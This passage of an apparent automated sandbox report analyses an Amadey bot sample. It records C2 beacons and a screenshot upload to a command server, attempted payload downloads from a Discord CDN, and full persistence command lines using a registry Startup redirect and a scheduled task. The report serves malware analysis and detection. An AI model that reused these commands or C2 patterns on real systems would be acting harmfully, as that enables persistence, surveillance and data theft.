97	192.168.2.4	49882	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:39.870584011 CET	5841	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:39.896327972 CET	5868	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.4	49883	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:40.169699907 CET	5941	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:40.196660995 CET	5941	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.4	49884	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:40.337696075 CET	5942	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:40.362768888 CET	5942	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:40.371305943 CET	5942	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:40.371372938 CET	5943	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:40.371558905 CET	5953	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:40.371644020 CET	5955	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:40.394174099 CET	5961	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:40.394314051 CET	5966	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:40.394326925 CET	5970	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:40.394337893 CET	5971	OUT	Data Raw: ce 8a f4 54 fe 47 a1 a6 98 18 52 e5 60 a4 88 80 a5 a7 79 6c 3b 52 60 8a 2c 55 c4 c5 28 a2 97 b5 02 0a 5a 29 69 88 4a 5a 29 45 31 05 25 3a 80 29 88 40 29 71 4b 45 31 5c 4c 52 81 4b 8a 31 40 06 29 71 46 29 71 4c 42 52 8a 52 28 02 98 83 14 01 45 2d Data Ascii: TGR`yl;R`,U(Z)iJZ)E1%:)@)qKE1\LRK1@)qF)qLBRR(E-(:RZJQMQKH))%-JZ(J*RbRQNNQi(NRiE-Q!K)jbpHTbT-"'OZ(0idB:sWNrE$gyl:6
Nov 12, 2021 22:23:40.394371986 CET	5977	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:40.394403934 CET	5982	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:40.416973114 CET	5987	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:40.465370893 CET	6050	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:40 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49785	162.159.129.233	443	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-12 21:23:07 UTC	0	OUT	GET /attachments/878034206570209333/908810887417176084/vms.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-11-12 21:23:08 UTC	0	IN	HTTP/1.1 403 Forbidden Date: Fri, 12 Nov 2021 21:23:08 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: close CF-Ray: 6ad2d1d6dd0a4a67-FRA Cache-Control: private, max-age=0 Expires: Fri, 12 Nov 2021 21:23:08 GMT Vary: Accept-Encoding CF-Cache-Status: MISS Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ADPycduOQ2nv5Veqkgd42QiqIN1sIXdDYGJaK0wdLV8urQNgSpDr69pR3XIAio1f1sDT9Al4rmK8RALe4q8xWISXyFWgSRzLkg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q%2FjU4Rea82v5xuYBKbz9MaCUJDcXw9Db8KegYBDPCbxZJb4DNC3pcuTEPmFF8DSyE4GjfahPmjnL5v9DsCEZQxtIP7%2BSQVzbWHaB%2B0QLIBIIuXnipLT8sfK8xIktf89J1y3hFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2021-11-12 21:23:08 UTC	1	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 44 65 74 61 69 6c 73 3e 41 6e 6f 6e 79 6d 6f 75 73 20 63 61 6c 6c 65 72 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 73 74 6f 72 61 67 65 2e 6f 62 6a 65 63 74 73 2e 67 65 74 20 61 63 63 65 73 73 20 74 6f 20 74 68 65 20 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 53 74 6f 72 61 67 65 20 6f 62 6a 65 63 74 2e 3c 2f 44 65 74 61 69 6c 73 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>Anonymous caller does not have storage.objects.get access to the Google Cloud Storage object.</Details></Error>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49800	162.159.129.233	443	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-12 21:23:18 UTC	1	OUT	GET /attachments/878034206570209333/908810886561534042/slhost.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-11-12 21:23:19 UTC	1	IN	HTTP/1.1 403 Forbidden Date: Fri, 12 Nov 2021 21:23:19 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: close CF-Ray: 6ad2d21b2ab93140-FRA Cache-Control: private, max-age=0 Expires: Fri, 12 Nov 2021 21:23:19 GMT Vary: Accept-Encoding CF-Cache-Status: MISS Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ADPycdvjQNyKaBXxiqCCobPtgG1KSRPDCVkVQPgNMJ5ySD5KjTZi-_A2_BiphWIxXC8S3a66EUhiAneSexuIfCuRJBI X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=keBV%2FCaatl1Isn0iloP08mxEsHAEsq6K0ajLic9XxHzBLDIBEDyhPhdOpctfhCe8O4VasRHLKe5D8QyIoiC61vEukE98minHtoN7xkp7Wt1eqnamo6RZxU7VpltHRKfEeLHxOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2021-11-12 21:23:19 UTC	2	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 44 65 74 61 69 6c 73 3e 41 6e 6f 6e 79 6d 6f 75 73 20 63 61 6c 6c 65 72 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 73 74 6f 72 61 67 65 2e 6f 62 6a 65 63 74 73 2e 67 65 74 20 61 63 63 65 73 73 20 74 6f 20 74 68 65 20 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 53 74 6f 72 61 67 65 20 6f 62 6a 65 63 74 2e 3c 2f 44 65 74 61 69 6c 73 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>Anonymous caller does not have storage.objects.get access to the Google Cloud Storage object.</Details></Error>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe PID: 1744 Parent PID: 5236

General

Start time:	22:22:52
Start date:	12/11/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe"
Imagebase:	0xbb0000
File size:	2588967 bytes
MD5 hash:	34CCA2013EB9B2941A65971919BF356D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: rnyuf.exe PID: 5824 Parent PID: 1744

General

Start time:	22:22:59
Start date:	12/11/2021
Path:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe"
Imagebase:	0x1250000
File size:	2588967 bytes
MD5 hash:	34CCA2013EB9B2941A65971919BF356D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000002.946875767.00000000048F5000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000002.943681294.0000000000E23000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000002.943646127.0000000000DE9000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000003.882574918.00000000048C6000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000003.882522004.00000000048B3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000003.810169410.0000000000E50000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000003.744803770.0000000000E50000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6636 Parent PID: 5824

General

Start time:	22:23:05
Start date:	12/11/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6512 Parent PID: 6636

General

Start time:	22:23:05
Start date:	12/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 4460 Parent PID: 5824

General

Start time:	22:23:05
Start date:	12/11/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F
Imagebase:	0x1310000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: reg.exe PID: 6120 Parent PID: 6636

General

Start time:	22:23:05
Start date:	12/11/2021
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\
Imagebase:	0xa80000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6964 Parent PID: 4460

General

Start time:	22:23:06
Start date:	12/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rnyuf.exe PID: 5908 Parent PID: 968

General

Start time:	22:23:08
Start date:	12/11/2021
Path:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
Imagebase:	0x1250000
File size:	2588967 bytes
MD5 hash:	34CCA2013EB9B2941A65971919BF356D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: rnyuf.exe PID: 1808 Parent PID: 968

General

Start time:	22:24:01
Start date:	12/11/2021
Path:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
Imagebase:	0x1250000
File size:	2588967 bytes
MD5 hash:	34CCA2013EB9B2941A65971919BF356D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe PID: 1744 Parent PID: 5236 SecuriteInfo.com.Trojan.Siggen15.38099.19640.exeCOMMON

Executed Functions

Function 00D077B0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00F6DC15

Memory Dump Source

Source File: 00000000.00000002.677809934.0000000000BEA000.00000040.00020000.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.677676691.0000000000BB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.677691755.0000000000BB1000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.677751099.0000000000BD7000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.677769096.0000000000BE0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.677778617.0000000000BE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.677788867.0000000000BE8000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.677797745.0000000000BE9000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.678160745.0000000000D80000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678174412.0000000000D82000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678190737.0000000000D86000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678211855.0000000000D88000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678238590.0000000000D8A000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678256325.0000000000D8C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678273528.0000000000D8E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678289045.0000000000D90000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678299626.0000000000D9D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678308754.0000000000DA7000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678314360.0000000000DA9000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678330349.0000000000DAE000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678343355.0000000000DB0000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678355757.0000000000DB2000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678364136.0000000000DB4000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678377227.0000000000DB8000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678396952.0000000000DBA000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678409741.0000000000DBC000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678443732.0000000000DCA000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678460303.0000000000DD2000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678469345.0000000000DD4000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678476816.0000000000DD6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678489457.0000000000DD8000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678499748.0000000000DDA000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678505744.0000000000DDC000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678511204.0000000000DDE000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678540255.0000000000E07000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678548098.0000000000E0E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.678956387.0000000000FD2000.00000020.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c6ca1e440214ae8678fb7d5d608053b0d13aaa11066205566f8201567b02fa5f
Instruction ID: 6e17213e6e01b3bf8d0bf5f7cd84ee11be9d64a64dbf07f93d602977b5cc210a
Opcode Fuzzy Hash: c6ca1e440214ae8678fb7d5d608053b0d13aaa11066205566f8201567b02fa5f
Instruction Fuzzy Hash: 7EE04FB361E70CDAC7003E2A99C5678BAE4FA01754FB1057FD5C702745DE72A440B593

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rnyuf.exe PID: 5824 Parent PID: 1744 rnyuf.exeCOMMON

Executed Functions

Function 01251DA0, Relevance: 21.2, APIs: 14, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 01251DCA
GetProcessHeap.KERNEL32(00000008,?), ref: 01251DDF
RtlAllocateHeap.NTDLL(00000000), ref: 01251DE2
GetUserNameW.ADVAPI32(00000000,?), ref: 01251DF0
GetProcessHeap.KERNEL32(00000008,?), ref: 01251E1E
RtlAllocateHeap.NTDLL(00000000), ref: 01251E21
GetProcessHeap.KERNEL32(00000008,?), ref: 01251E31
RtlAllocateHeap.NTDLL(00000000), ref: 01251E34
GetProcessHeap.KERNEL32(00000000,?), ref: 01251F02
HeapFree.KERNEL32(00000000), ref: 01251F0B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01251F10
HeapFree.KERNEL32(00000000), ref: 01251F13
GetProcessHeap.KERNEL32(00000000,?), ref: 01251F1A
HeapFree.KERNEL32(00000000), ref: 01251F1D

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
